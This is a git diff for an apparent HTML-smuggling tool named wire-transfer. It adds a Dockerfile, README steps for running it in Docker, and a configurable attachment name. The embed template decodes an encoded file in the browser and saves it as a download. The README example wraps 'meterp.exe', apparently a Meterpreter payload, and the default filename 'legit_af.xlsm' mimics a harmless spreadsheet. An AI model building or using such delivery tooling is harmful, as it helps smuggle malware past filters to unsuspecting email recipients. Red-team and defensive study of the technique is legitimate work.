diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..b4095e0 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,16 @@ +FROM python:3.10.12-slim-bullseye + +RUN mkdir /wire-transfer /data + +COPY . /wire-transfer + +RUN chmod +x /wire-transfer/embed.py +RUN chmod +x /wire-transfer/english2bin.py +RUN chmod +x /wire-transfer/wiretransfer.py + +WORKDIR /wire-transfer + +RUN python3 -m pip install -r requirements.txt + +# DEBUG +CMD /bin/bash diff --git a/README.md b/README.md index eb7ebc2..18b9064 100644 --- a/README.md +++ b/README.md @@ -15,4 +15,22 @@ Install Python 2.7.x, then install the dependancies with: ``` pip install -r requirements.txt +``` + +Running from Docker :whale: +============================ + +Build: + +```bash +docker build -f Dockerfile -t wire-transfer . +``` + +Run: + +```bash +docker run -v $(pwd)/data:/data -it wire-transfer \ +python embed.py --target=/data/meterp.exe \ +--output=/data/meterp.html \ +--attachment=meterp.exe ``` \ No newline at end of file diff --git a/embed.py b/embed.py index fdab101..c38b81b 100755 --- a/embed.py +++ b/embed.py @@ -35,6 +35,11 @@ default=os.environ.get('WIRE_TRANSFER_TEMPLATE', "templates/embed.html"), help="encode file into embedable .html file") +define("attachment", + group="application", + default=os.environ.get('WIRE_TRANSFER_ATTACHMENT', "legit_af.xlsm"), + help="name of the attachment file") + def main(): """ Starts the app based on cli arguments """ @@ -44,7 +49,7 @@ def main(): with open(options.template) as templ_file: templ = Template(templ_file.read()) with open(options.output, "wb") as out_file: - out_file.write(templ.generate(data=data)) + out_file.write(templ.generate(data=data,attachment=options.attachment)) if __name__ == '__main__': os.chdir(os.path.dirname(os.path.abspath(__file__))) diff --git a/templates/embed.html b/templates/embed.html index 8d96540..861a3c5 100644 --- a/templates/embed.html +++ b/templates/embed.html @@ -22,6 +22,6 @@

Email Attachment

data.filter(word => { return word.length > 0 }).forEach(word => { byteNumbers.push(decodeWord(word)); }); let byteArray = new Uint8Array(byteNumbers); let blob = new Blob([byteArray], {type: "application/octet-stream"}); - saveAs(blob, "legit_af.xlsm"); + saveAs(blob, "{{ attachment }}"); \ No newline at end of file